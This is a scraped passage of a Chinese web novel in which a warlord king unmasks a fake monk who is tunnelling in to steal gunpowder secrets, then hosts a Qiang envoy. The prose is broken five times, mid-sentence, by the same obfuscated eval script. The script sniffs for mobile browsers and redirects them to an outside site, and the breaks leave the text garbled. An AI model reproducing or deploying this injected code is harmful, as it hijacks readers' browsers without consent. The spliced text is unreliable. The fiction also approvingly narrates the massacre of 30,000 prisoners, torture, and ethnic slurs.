上缴获狄军粮草军械甚多尤以完好的冲车盾牌为众匠作堂或可加以研究。” 清扫战场后自然是汇总战利品。 徐三通进帅帐禀报。 陆云川轻嗯点头打了这么多场仗军的铁盾与护甲是最硬的还兼具防火。 盾牌与护甲硬从侧面反应了北狄的炼铁技术很高。 “徐先生便由你负责将狄军所用盾牌皮甲攻城具各选十件完好者带回匠作堂拆解研究。” “遵命。” 徐三通退下。 赵猛走进帅帐汇报道:“王上本次胜战共俘虏了三万余名北狄士兵该如何处置他们?” 若是夏季的话还可以充当苦役眼下即将入冬这么多人哪怕一天一顿饭也要消耗不少粮食。 陆云川一闭上眼睛脑海中便浮现出了昔日狄军驱赶民填河的惨状当日他便发过誓这笔血债一定要加倍奉还。 他缓缓背过身只淡淡吐出四个字:“一个不留。” “是!” 赵猛领命退下。 沈风走进帅帐献上了一叠书信: “王上这是从敌营帅帐中缴获的信件其中有一封还是送往羌国的。” “哦羌国?” 陆云川接过信件抽出信纸扫了一眼内容。 文字是中原字体收信者为“羌国国主李天昊”写信者是阿古拉。 信上的内容大概是想让李天昊从河西出兵从东西两个方向夹击凉国。 估计阿古拉怎么都没想到信还没送出去人却先死在了龙脊关之下。 “这羌国主竟然姓‘李’?”陆云川有些疑惑。 “王上有所不知。”沈风讲述道: “羌国贵族原姓拓跋曾附属中原王朝被赐了中原姓氏故而姓李; 但此国就是一棵墙头草谁强大便依附于谁; 近年来大昭暗弱羌国便向北狄投诚认了北狄做宗主; 说具体些羌国便是北狄在河西的看门狗 原来是一只左右摇摆的“看门狗”。 陆云川 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16001685|178263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻哼了声扔掉了手里的书信。 早在先前李璞就曾经说过羌国切断了河西走廊的商贸 制作**的硫磺很大一部分都是取自西域从河西走廊转运 原先是北狄西进陆云川没空搭理羌国如今北狄已在龙脊关失败短时间内西边无患是该转过身 来对付这只“看门狗”了。 “沈风,本王留五万兵马,交由你镇守龙脊关。” 陆云川叮嘱道:“以渭水为界,以渭水县为守,多修筑哨塔与城防,与龙脊关互成掎角之势; 虽说冬季漫长,却也要严密地方北狄反扑; 待本王去解决了河西之患,明年方可出兵收复长安。” “末将定不辱使命!” …… 十月十五,陆云川班师回朝。 当日,便召见赵猛,秦鸣,萨武三名战将入内阁议事—— 羌国位于北狄的西侧,若能将其收入囊中,形如在北狄侧翼插了一把利刃,对来年进攻北狄更加有利。 因此,下一个军事战略目标,便是吞并羌国,打通河西走廊,稳定凉国与西域之间的物资流通。 “眼下即将步入寒冬,不宜大举进兵,但需未雨绸缪; 羌王李天昊,坐拥玉户天险,控扼丝路咽喉,背靠北狄,坐山观虎; 此时若进兵,他必借天时地利顽抗,甚至引狄军从侧翼牵制,迫使我军首尾难顾; 而欲定河西,必拔玉户关; 此关不破,凉州之兵锋,永远被锁死在荒漠戈壁之内; 本王要的,是西进无阻,是北狄断绝臂膀,是西域财货畅通无阻,化为我凉州军资! 那么……” 陆云川起身,指了指铺在桌面上的河西全境地图的一处,“这个地方是关键——武威县。 此县立于河西走廊入口,可以作为西进攻打玉户关的跳板; 赵猛。” “末将在。” “本王令你为征西大将军,秦鸣,萨武为先锋,率凉州三万马步兵,进驻武威县; 这个寒冬,你们无需出兵,将兵马养得膘肥体壮,多囤积物资,修缮城墙,摸清敌报; 待来年开春之际,本王将再度御驾亲征,一举河西走廊!” “遵命!” 第一百七十九章 最好一胎生八个 十月末,西北迎来了第一场大雪。 天地间一片素白,连呼啸的寒风都仿佛被冻得迟缓了几分。 好冷,好冷…… 春生秋杀,夏盛冬藏。 冬天那就得窝在家里,老婆孩子热炕头。 整个雍州城,都沉寂在风雪之中,宁静得有些残忍,残忍得有些静美。 “叮铃铃……” 就在这银装素裹的肃杀之中,城门外忽然响起一阵清脆的铃声。 一群衣着单薄,身披僧袍的身影,踏着厚厚的积雪,来到了雍州城下。 为首者,是一位身披陈旧但浆洗得十分干净的明黄色**僧袍的老者, 他面容清癯,皱纹深刻,一双眼睛却异常明亮,带着一种悲悯众生的平和与洞悉世事的沧桑。 他左手握着一串磨得发亮的乌木念珠,步履沉稳,右手则持有一根鎏金禅杖。 先前那“叮铃铃”的声音,便是风吹禅杖上的扣环所发出。 老**身后跟着七八名同样身着僧袍、但体格精壮、眼神锐利的年轻**,他们抬着几个沉重的木箱,箱子上覆盖着防雪的油布。 **? 苦行僧? “阿弥陀佛。” 老**在城门前站定,对着守城军官单手合十,声音温润平和,带着奇异的穿透力,竟压过了风声: “贫僧乌巢,自雪域大轮寺而来,闻凉王仁德,泽被苍生,特携佛门经卷、雪域灵药,欲为雍州军民祈福消灾,亦求一席之地,宣讲佛法,普度众生。” 雍凉这个地方,大概是边关苦难多,对佛教还是很信仰的。 守城军官看着这位气度不凡的老僧,又看了看他身后那些明显不是普通僧人的随从,有些迟疑, 但对方言辞恳切,又打着“祈福”、“讲经”的旗号,在这严冬时节,倒也不好直接拒绝。 “大师可有度牒?”士卒问道。 乌巢微微抬手,身后小**,掏出度牒呈上。 “果真是游方高僧。” 军官确认度牒无异样,又简单检查了一番众僧行囊,没发现利器,合十作了个揖,放一众**入了城。 消息很快便传入王宫。 “乌巢?大轮寺?” 书房中,陆云川微微蹙眉。 游僧苦行在边关一带很常见,普渡苦难人世间,顺便搞点香油钱。 但也不知是不是假和尚见多了,对于这类僧人陆云川心底总有些偏见。 阿弥陀佛,阿弥陀 佛…… “让王城司去查一查这些**的来历。” “是。” 一个时辰后。 刘马捧着一副河西走廊的卷宗走进书房。 “王上属下查过边关文牒确有此僧入境记录自称游方讲经所携之物也经查验多为经卷、药材、酥油、糌粑等物并无违禁。” 陆云川拿过卷宗仔细查看了一番雪域佛门确有“大轮寺”但地处极西与雍州素无往来。 日出反常必有妖。 “只是……”刘马略有迟钝。 “你何时学会话说一半了速讲。” “只是他那几个随行**脚步沉稳呼吸绵长太阳穴微鼓绝非普通僧人。倒像是…练家子而且是好手。” 刘马又补充了一句:“但这些都是我个人推断而且游僧出家人嘛有些武艺傍身却也正常……” “很多东西凑在一块那就不正常了。” 陆云川淡淡说着指尖轻轻敲击着桌面发出笃笃的轻响目光投向窗外纷飞的大雪眼神深邃如渊。 “去派‘王城司’的人日夜盯着那群和尚他们的一举一动一言一行皆需详录记住不要被他们发现了。” “属下明白!” …… 乌巢一行苦行僧 他果然如同一位得道高僧每日清晨便带领弟子清扫寺院积雪诵经祈福 午后则在寺中偏殿开坛讲经所讲佛法深入浅出又夹杂着许多雪域奇闻、养生之道很快吸引了不少城中信众。 一来二去道场内终日高朋满座乌巢法师“悲智双运”的名声不胫而走。 甚至于…… “陆押司你听说了嘛最近雍州城里来了一位得道高僧哟!” 放眼整个凉国敢直呼“陆押司”的人除了发妻李婉清外似乎也没有别人了。 这一日李婉清兴致冲冲来到书房大眼睛扑灵扑灵闪动。 “咋李小姐也信佛?” 陆云川缓缓收拢桌面上‘雍州城地图’笑着问道。 “倒也说不上信仰我娘喜欢持斋把素我也就从小熏陶了些。” 李婉清上前一步眼神渴望:“听说那位得道高僧上知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16001686|178263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天文下知地理还懂得算命可灵验了……” “你的命都这么好了还用算?”陆云川挑眉问道。 “不是……”李婉清低下头 ,玉手轻轻抚摸了小腹,微微崛起嘴唇,“我想找高僧算算,何时能够……怀上小娃娃。” 她又抬头,凑近陆云川脸颊,“难道陆押司不想?” “想,我当然想了,最好一胎能生八个,呵呵呵……” “又不是母猪,一胎生八个……” 李婉清撇了撇嘴,“我倒想生呢,可自打成亲以来,都快一年了,连个影儿都没有……” “行,咱们下午就去那道场逛逛,看看那得道高僧,究竟有多‘高’。” 陆云川欣然同意,“不过咱们要扮作素人,免得太引人注目。” “妥!我这便回去换衣服!” 李婉清小跑离开书房。 “来人。” “王上有何吩咐?” “去将刘马唤来。” “是。” 半个时辰后。 刘马走进书房。 “监视得如何了?” 陆云川再次翻开桌面上的雍州城地图,一边端详一边问。 “回禀王上,倒也没发现什么异常。” 刘马说道:“那些**白天讲经,晚上从来不出门,寻常的斋菜饭食,都是其弟子清晨出去购买; 我特意派人暗地里去厨房里看过,都是些素菜,连油都是菜油; 我曾旁听过那老**讲经,还怪好听的,特别是那些奇闻异事,比说书先生都要引人入胜; 倒是有一点……那些和尚每到晚上都会诵经,一直要诵到子夜才休息。” “夜夜如此?” “对,天黑便念经,凌晨便熄灯,夜夜如此。” “这群**将‘功课’做得这么足,必然是有蹊跷的。” 陆云川冲刘马招了招手,“你近前来,我告诉你,他们的异常在哪里。” 刘马带着疑惑来到书桌前。 陆云川指了指桌面地图上雍州西城的位置: “雍州城东南西北,其中西城最为偏僻,这些**却专门将道场开设至此,你猜为何?” “这……”刘马扫了一眼地图城西,目光定格在一处,恍然大悟: “匠作堂!” 第一百八十章 帝王之相 由于匠作堂涉及各种火器试验因此才选择建立在偏僻的城西。 从雍州城地图上来看那群**的道场与匠作堂相隔只有三条街。 早前徐三通便提醒过**在战场上大发神威肯定会被人觊觎。 这些**故意在匠作堂附近开设道场极有可能是利用出家人作掩护去偷**。 “王上何不派人直接剿了那群贼秃驴?”刘马提议道。 “不急。”陆云川微微抬手“仅凭怀疑还不能确认何况他们近来在民众心里口碑不错若抓错了他们反倒会让本王声誉受损” 他顿了顿又道:“今日下午本王答应过王妃去道场听课顺带亲自去会会那老**; 你们就候在到场外随时听我安排即可。” “属下明白。” …… 午饭过后。 备了辆朴素的马车换上朴素的衣裳前往城西。 抵达道场时人声鼎沸比那听书的茶馆儿还要热闹。 陆云川微微皱眉宗教信仰这个东西啊怎么说呢侧面实在是影响太大了 若让这老**在城内多待几天估计很多人都成为他的信徒。 信徒不可怕可怕是那些狂热的极端的信徒。 “请各位施主有序入座乌巢法师要讲课了。” 走出来五个年轻**将院门关闭 陆云川扫了一眼这些年轻**身强体壮步伐矫健面孔虽与中原人无异但仔细端详还是有差别他们不是中原人。 不过他们本就来自雪域用刘马的话来说苦行僧会点拳脚防身也很正常。 陆云川便与李婉清融入群众在前排找个位置坐下。 乌巢法师走出禅堂穿着朴素袈裟慈眉善目一副得道高僧的模样。 而后开始讲课。 讲佛法说奇闻述轶事。 口若悬河滔滔不绝。 别的先不说就这嘴皮子确实利索。 满堂人眼却无时皆全神贯注虔诚听讲。 唯有陆云川实在听不了念叨低头不停打瞌睡。 也不知睡了多久。 “……阿弥陀佛今日讲课便到此结束诸位施主随喜功德福慧双增。” 老**讲完课小**抱着“功德箱”好似民间艺人表演完讨赏钱那般挨个儿找听客们索要香油钱。 大多数来听课的都是普通百姓一文 两文往箱子里丢,颇有家私之人,也不过几两碎银。 “哗啦啦……银钱扔进箱子,撞得哗啦啦响。 “夫君,快醒醒,给钱啦……李婉清轻轻肘了两下陆云川。 陆云川从昏睡中醒来,擦了一把嘴角的口水,抬头一瞧,霍……好大一口功德箱横在眼前。 “**师傅,非得捐香油钱?他笑着问道。 小**见陆云川连掏钱的姿势都没有,语气有些声音,“施主,这不是香油钱,而是您的功德钱,今日捐一文功德,明日便会还你千百倍。 “一比一千的赔率?这买卖比赌钱还要暴利。陆云川说道。 小**眼中闪过一丝厌恶,抱着功德箱便要去别处。 “慢着,我没说不捐。 陆云川手伸进袖子,捯饬了两下,摸出一锭金元宝,很洒脱便丢进了功德箱。 满堂众人,无一不惊。 方才那锭金元宝,最起码有十两吧? 十两金,百两银,二十万枚铜钱,比所有人加起来的还要多! 小**一改冷漠态度,瞬间喜笑颜开,合十冲陆云川与李婉清作揖:“阿弥陀佛,二位施主慷慨,一定会得到福报的。 “福报就不必了,我家夫人听闻乌巢法师**通今,通晓天理命数,想找他算个命,不知可否引荐?陆云川问道。 “那是自然,我师傅素爱接待有德之人。 小**将功德箱递给同伴,扭头便做了个“请的姿势,将陆云川与李婉清请入禅堂。 禅堂是由客堂改建而来,供奉着几尊佛像,一只香炉冒着袅袅青烟,而在这烟火气息中,似乎还夹杂着一股泥腥味儿。 这几日都在下雪,怎会有泥腥味儿? 且这禅堂十分干净整洁,不像是动过土木的样子。 小**在乌巢耳旁低语了几句,大概是说了陆云川豪捐金子的事迹,乌巢当即起身相迎,并引陆云川与李婉清堂下落座。 “听弟子说,夫人想占卜算命。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16001687|178263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 乌巢扫了一眼这对年轻夫妇,“贫僧确实略懂些命理之术,若猜得没错,夫人是想算子嗣? “大师真灵验! 李婉清忍不住惊呼。 陆云川暗自轻嗤了声,小夫妻,花重金,入佛堂,不是求子难道还能是求姻缘么? “请夫人伸出右手,贫僧一观手相便知。乌巢笑道。 李婉清挽起袖子,伸出右手。 乌巢反复看了几眼手相,时而深思, 时而惊诧,看了半晌才笑道:“从掌纹上来看,夫人乃凤凰命,注定一生大富大贵,儿女双全啊。” 李婉清听完大喜,“那大师,我……我何时能有子嗣?有几个儿女?” 乌巢抚须笑道:“夫人不必着急,一年之内,必定开花结果,将来会有一儿一女,皆是人中龙凤。” “大师算得这么准,也给我看看手相吧。” 陆云川缓缓将自己手掌伸到了乌巢面前。 乌巢埋头仔细一瞧,仅仅一眼,便睁大了眼睛,他抓过陆云川的手,反复观看,连连称赞:“施主乃是罕见断掌纹,而纹路末梢分叉形如龙头,有领袖之资,帝王之相——” “打住。” 陆云川出声打断乌巢,心里暗道,这老**好像还有点儿东西。 “大师,我在雍州城确实颇有家业,你算得很准,不过事业这方面的天机你还是莫要去泄露,免得被有心人听到了招来无妄之灾,你还是给我看看其他的命数吧?” “施主说得极是……” 乌巢拉过陆云川的手又仔细端详了一会儿,说道:“施主有此手相,一生都将平步青云,情感方面亦犹如桃花盛开,未来子孙满堂,享尽齐人之福啊。” “此话怎讲?”陆云川眯了眯眼睛。 乌巢笑道:“但说施主膝下的子嗣,未来至少都会有三个儿子,两个女儿……” 这老**! 玩儿呢! 陆云川即刻撤走了手掌。 再看一旁的李婉清,嘴唇已微微撅起。 若这老**算得准,她会生一儿一女,而陆云川却至少三儿两女,那剩下的两儿一女……难道会从石头里蹦出来么? 第一百八十一章 今夜来个瓮中捉秃驴 “听说乌巢大师来自西域的大轮寺?陆云川突然问道。 “是啊,贫僧先前就在大轮寺里吃斋念佛,后来感叹人世间苦难,便带着几名徒弟游历天下,苦中修行。 乌巢绘声绘色回答。 “实不相瞒,陆某早年随父去西域经商时,在大轮寺里借过好几回宿了。 陆云川盯着乌巢的眼睛,开口问道:“不知……大轮寺里的方丈‘苦禅大师’可还建在? 乌巢下意识将眼神回避,愣了片刻才道:“自然建在,苦禅大师修身养性,身体还硬朗得很呢…… “那我就放心了,我还想说今后西域商路重开,去拜访他一二呢。 陆云川将所有表情都藏进心里,没有再多闲谈,一句“告辞,带着李婉清离开了禅堂。 乌巢笑脸送至门口,待陆云川走远后,才沉下脸色,露出一副冰冷的眼神。 “慧明,慧方…… “师傅有何吩咐? “今日提前关闭道场,我有一股不详的预感,不能再拖延了。 “是。 …… “哼! 出了道场后,李婉清把头一偏,嘴巴都要翘上天了。 “怎么?你该不会真信了那老**的胡话吧?陆云川叉腰苦笑。 “你怎知人家说的是胡话?李婉清反问。 陆云川扫了一眼身后陆续被清空的道场,轻轻一句: “因为我根本没去过大轮寺,也根本就没有‘苦禅’大师这个人,我说了一个谎,他却圆了一个谎。 伪装得再好,一句话便已露出狐狸尾巴。 “害得人家白高兴一场……李婉清撇了撇嘴,轻叹了口气。 “好了,快回去吧,你青春年华,我春秋鼎盛,干嘛去担心无后这种荒唐事? 陆云川宠溺戳了戳李婉清额头,将她抱上马车,让她先回了王宫,随后自己隐匿进道场斜对面的巷弄中。 刘马等几名伪装成平民的王城司密卫也悄悄走进巷弄。 “陈世钊可从兴元府回来了? “陈将军七日前便已归来。 “将他唤来。 陆云川又叮嘱道:“再去道场附近给我租一间小院,越近越好,再去准备几只瓷瓮。 “属下明白。 刘马应声而去。 傍晚。 陆云川入住租下的小院儿,并让人在院墙根下埋了八只瓷瓮。 陈世钊匆匆 赶来。 “王上?” “世钊,你可还认得这些设备?” 陆云川指了指埋在墙根的瓷瓮。 陈世钊脸上泛起一阵苦涩,“当初王上在平川县时,就是用这些‘地听瓮’识破我掘子军挖地道的,末将自然是记得。” “本王找你来,可不是挖苦你,而是想让你听听,对面的道场内到底在搞什么鬼名堂。” 陆云川指了指仅有一巷之隔的道场。 若这些**真是为了匠作堂而来,那他们就一定会有靠近匠作堂的手段; 匠作堂守卫森严,任何闲杂人等都不得靠近。 想要进入匠作堂行窃,要么长翅膀飞进去,要么打地洞钻进去。 和尚半夜念经到深夜,禅堂里还有土腥味儿。 做个大胆的假设,会不会是他们故意制造噪音来掩盖挖掘? 在挖掘这一方面,陈世钊绝对是一等一的专业人士,让他来辨听,方知真相。 “王上您听,那群和尚又开始念经了。”刘马忽然说道。 “哒哒哒……” “啊嘛咪嘛……” 木鱼声,铜锣声,念经声,混杂一谈。 陈世钊俯身来到“地听瓮”前,侧着耳朵仔细听了一会儿,接着又换下一个。 等将八只地听瓮听完后,他俯身得出结论:“王上推断没错,对面道场正在挥镐掘土。” “你可要听仔细了,这么嘈杂的念经声。”陆云川说道。 陈世钊扪着胸口,语气肯定:“绝对错不了,念经声清脆富有节律,而掘土声是铲镐与沙土摩擦,杂乱无章; 末将自幼盗墓掘土,敢用头上这颗脑袋保证,他们绝对是在挖地道! 而且从八个地听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16001688|178263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瓮上传回的声音判断,他们至少已打到了西南侧二十丈。” “西南侧二十丈,那岂不是已到了匠作堂的外墙之下了!这才半个月的功夫……”刘马惊呼。 “害!太慢了!” 陈世钊摆了摆手,“若是我的掘子军,五日便可挖穿三条街……” 陆云川内心冷笑,还真是精心策划呢,挖地道都挖到老子雍州城里来了。 “刘马,你调三十名王城司护卫,暗中守住到场前后门; 世钊,你随本王去匠作堂确定位置,咱们今夜来他个‘瓮中捉秃驴’!” “明白!” …… 风雪之夜,三更时分。 念经声戛然而止。 道场中一片寂静,唯 有风声呜咽。 禅房内,乌巢盘膝而坐,手中念珠缓缓捻动。 “师傅,打通了!” 墙角一个不起眼的蒲团被顶开,一个狭窄地道入口显露,一名浑身泥土的小**探出脑袋。 听此消息,乌巢猛然睁开眼,那双悲悯的眸子瞬间变得锐利如刀,再无半分佛性,取而代之是无尽的贪婪。 “确认是匠作堂围墙内么?” “师傅放心,慧明师兄已钻出去查验过,正是墙内,而且今夜的凉军的守备十分松懈!” “真是天助我也!” 乌巢大喜,一把撤掉身上的**袍,露出一身黑色劲装,其余念经的小**,亦是如此! 乌巢从案台下拖出一箩筐的**,分发给众小**,叮嘱道:“按计划行事,进入匠作堂后,先潜伏进主殿,能找配方最好,找不到便带走样本! 记住,倘若被发现了,一不做二不休,直接点火,炸了它的匠作堂! 徒儿们,此雷火配方若能到手,我等便是狄朝第一功臣,到时我荣升国师,尔等也必定有享不尽荣华富贵!” “是!” 众弟子兴奋高举**,他们似乎已经预想到,今后自己荣华富贵的模样。 “行动!” 众**蒙上面罩,一个接一个钻进地道。 第一百八十二章 本王不仁,天地皆为刍狗 匠作堂外墙根下。 一方被枯草掩盖的地道口被掀开小**慧明先探出头来左右探看了一番确认四下里无人才与后方的人打了个手势。 这帮**明显是受过特战训练身手敏捷动作迅速。 出地道后迅速翻滚扇入墙角的草丛中贴身蹲伏进行伪装。 乌巢最后一人钻出地道他深吸了一口气大喜道:“错不了就是这股子硫磺味儿……” “凉王小儿估计做梦也没想到贫僧竟能这么轻松便进入匠作堂!” 乌巢扬扬得意打了个手势便要招呼七名**向匠作堂深入。 突然一个冰冷的声音刺破飘雪与寂夜从黑暗中缓缓响起: “乌巢法师不好好在道场念经深夜造访本王匠作堂有何贵干?” 霎时间! 火光亮起五百名精兵举着火把迅速从黑暗中向墙根靠拢。 乌巢得意戛然而止! “不好!有埋伏!” “快往地道里退——” “嗖!嗖!嗖!” 三支火箭齐射横竖交叉恰好射在了地道口。 钱无命保持着射箭的姿势身后五十名神射手皆已箭在弦上。 包括乌巢在内的八名黑衣**一时间进退两难被团团包围。 精兵缓缓散开陆云川身披黑色大氅带着傲然的姿态露出了真容。 “是你!” 乌巢一眼认出失声惊呼。 “你该不会真以为剃个光头穿一身僧袍就能在雍州城里落个安稳吧?” 陆云川冷声问道:“乌巢法师究竟是你看不起本王还会本王高估了你?” 乌巢咬了咬牙事已至此唯有血战杀出重围。 “跟他们拼了!” 八名**提刀就要冲锋。 “放!” 一声令下。 数十只火箭齐发片刻间乌巢等人下肢被射穿只留了半条命。 八个**抱着腿在雪地中痛苦哀嚎。 陆云川转过身冷声发令: “传令将贼人押入天牢严加审讯; 再砍两颗光头脑袋悬于城门之上发榜通告全城:伪僧乌巢实为敌国细作 从今往后我凉国百姓不信仙不信佛只信苍天正道!” “贼凉王!你这人屠!坑杀三万俘虏!天下人神共愤!你会遭报应的!会遭报应的……” “报应? 陆云川掸了掸肩头的积雪,仰望纷飞雪夜,冷冷一句: “本王若不仁,天地万物皆为刍狗,何来报应? “拖下去! “是! 在拖拽与惨叫声中。 雪,越下越大了。 …… 经过王城司一番严刑拷问,得知乌巢受命于北狄的“天星寺。 天星寺在北狄就相当于匠作堂,纠集了一批术士,专门研发战争武器与辎重。 乌巢这次“间谍渗透的事件,在陆云川耳边敲响了警钟。 大国交锋,从来都不止是在战场上对砍,背地里的渗透与谍战同样存在。 为了防止**再被人觊觎,陆云川下令转移了大半个城西的住户,守备力量增加三倍, 还专门从国库里拨款,开凿地下武器库,增设重重机关,安全级别甚至比王宫还要高。 接下来的日子,唯有“平静二字。 自凉国建立以来,风调雨顺,秋季丰收。 家家户户的米缸都是满的,男女老少的衣服都是暖的。 吃饱穿暖,再严寒的冬季都不会漫长。 冬去春来,新年初始。 积雪还是很厚,风却不再凛冽。 瑞雪兆丰年。 为了庆祝立国元年,陆云川决定在正月十五,上元佳节夜设宴,款待文武百官与各地士绅。 因此从大年初一起,雍州城的积雪便被扫得一干二净,家家户户张灯结彩,每逢夜晚一片绚烂,繁华似锦。 “王上,方才得到消息,羌国使臣已过河西了,这是拜帖。 刘马走进书房,将一封金贴递上书桌。 “哦?羌国来使? 打仗打不赢,便派贼**来偷, 偷没偷到,又派使者来访? 陆云川轻哼了声,接过拜帖扫了一眼,大致是些明面上拜访的客套话,真正目的如何,不言而喻—— 凉国三万兵马囤积于武威县,兵锋明显指向玉户关。 寒冬马上便要结束,阳春化雪即将来到,凉国西征的步伐也会迈出。 羌国故意挑在上元节遣使 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16001689|178263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赴凉,肯定不怀好意。 但不论羌国此次目的如何,使者来访,便说明他们已承认凉国政权,这一点倒是让陆云川心里挺舒服。 “他们要来便来吧,看看他们能玩出什么名堂……对了,记住,要以国宾之礼相待,免得传出去说我凉国不懂待客之道。 “是。” …… 正月十五,云清宫殿。 自打建国以来,陆云川非常节俭,连一座新王宫都不舍得修。 但是这一回,是凉国元年第一次上元盛会,必须奢侈一把! 瞧那—— 万千琉璃宫灯将飞檐斗拱映得流金溢彩。 羊角灯上绘着的麻姑献寿,月宫玉兔在暖光中栩栩如生。 地龙烘出的暖意裹挟着沉水香的清洌,炙羊肉的油香,新蒸糕点的甜润, 与丝竹管弦的悠扬、舞姬水袖翻飞的窸窣声交织, 织的是一幅煌煌盛世的上元图卷,画的是一幅色彩斑斓的凉国风华! 玉阶丹陛之上,陆云川一身丹青回龙袍,宽袍大袖,慵懒地倚在铺了整张雪白虎皮的软榻中。 身旁的李婉清,一身凤冠彩帔,端庄褒美,俨然也有了一副母仪天下的姿态。 殿下文臣武将,大夫士绅,左右落座,有足足一百二十余席位。 阶下舞姬歌姬,旋如惊鸿,水袖似流云;琴箫管弦,好似天上才有。 这巅峰权力,怎能不让人眷恋? “王上,羌国使者已至殿外……” “宣。” “宣羌国使臣尼玛进殿!” 扬声而出,不过片刻。 一行穿着奇装异服的羌人,昂首阔步走进大殿。 为首者身裹黑色狐裘,头戴绿松石貂皮毡帽,笑容谦卑如春风,眼底却藏着孤狼般的精光与探究。 他便是羌国使臣,尼玛。 尼玛招了招手。 八名精心打扮,妩媚婀娜的羌族少女,与四名随从抬着的两个沉重木箱一同走上前来。 “羌国使者尼玛,奉我王李天昊之命,于上元佳节,特献西域美人八名,雪山百年老山参十对,牦牛脊骨百斤,天蚕丝锦缎百,贺凉王岁首安康,四野升平!” 尼玛扪胸鞠躬,官话相当流利。 第一百八十三章 接着奏乐接着舞 “难得羌王如此慷慨,这份贺礼本王便收下来了。 陆云川微微摆手,“赐座。 尼玛等一干使臣落座。 “凉王,这八名西域美女,能歌善舞,何不让她们舞一曲,为佳节助助兴?尼玛笑道。 “可。 凉国歌舞姬退下,让开殿下场子。 八名西域美女,一上来便撤掉了外套,露出仅有几块的遮羞布,将身体优势发挥淋漓尽致。 一扭一晃,一抖一翘,叫人血脉喷张。 怪不得历朝帝王都要征服西域,这些异域风情的美女,八十岁的老头儿见了,都要扶墙起来试一试。 “哼。 李婉清看得白眼直翻,轻声骂了一句:“可真骚。 “骚是骚,可度春宵。陆云川笑道。 “那你怕是不知,李婉清凑近了些,告知道:“这些异族女人,都有狐臭的,而且据说她们一辈子只洗两次澡,身上毛发极为旺盛,你一嘴吃下去,保证能齁死你…… 陆云川木讷扭头,就这么静静看着身旁,嚼舌根的小怨妇。 李婉清估计也意识到了说了某些羞耻的话,脸颊微微一红,偏过头嘀咕:“西域狐狸精,哪儿有中原女子来得甜…… 陆云川低头呵呵一笑, 欣赏归欣赏,可这些西域女人谁稀罕? 自古以来死在床榻上的君王可不少,他陆云川可不是个看到女人便会竖起第三条腿的种马。 西域艳舞作罢过后,陆云川摆了摆手,示意不必再跳。 “在下自入雍州城以来,看到华灯初上,万家灯火,凉王能在短短一年之内造就如此盛世,不愧是西北枭雄啊。 尼玛竖起大拇指,高声夸赞。 枭雄? 虽是赞美词汇,可若被冠以“枭雄头衔,难免有些德不配位的意思。 这些牙尖嘴利的使臣,就喜欢咬文嚼字。 陆云川眯着眼睛,端起酒杯小酌,暂不做声。 尼玛见陆云川没有反应,起身笑道:“我听闻你们中原在上元节有一习俗为‘猜灯谜’,恰好在下这里也有几个谜题,不知能否说出来,给宴会增添些喜庆? 来了。 果然还是来了。 陆云川心底冷笑,面上却浮起一丝恰到好处的慵懒与好奇,抬了抬手: “都说羌人是蛮夷,只会放牧与打渔,没想到你们也会猜谜……行,说出来让大家玩个乐趣也好。 尼玛嘴角微 微上扬随手从桌上拿起一根筷子走到大殿中央高声问道: “请问在座诸位如何在不折不砍不借助任何外力的情况下让在下手中这根筷子变短?” 此题一出议论纷纷。 讨论了半晌也不见人能答。 尼玛昂首高傲出言不逊:“素闻中原读书人个个满腹经纶怎么?连我这羌国蛮夷的一个小谜都猜不出?” “放**屁!” 